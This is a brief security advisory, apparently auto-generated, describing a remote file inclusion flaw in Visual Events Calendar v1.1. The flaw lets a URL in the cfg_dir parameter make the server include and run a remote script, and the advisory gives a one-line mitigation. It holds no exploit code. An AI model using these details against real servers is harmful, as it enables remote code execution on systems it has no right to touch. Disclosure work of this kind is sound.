Visual Events Calendar v1.1 (cfg_dir) Remote Inclusion Vulnerability

Visual Events Calendar v1.1 is vulnerable to a remote inclusion vulnerability. An attacker can exploit this vulnerability by sending a maliciously crafted HTTP request to the vulnerable server. The malicious request contains a URL in the cfg_dir parameter, which points to a malicious script hosted on a remote server. This script is then included and executed on the vulnerable server.

Mitigation:

The best way to mitigate this vulnerability is to ensure that user input is properly sanitized and validated before being used in any include statement.
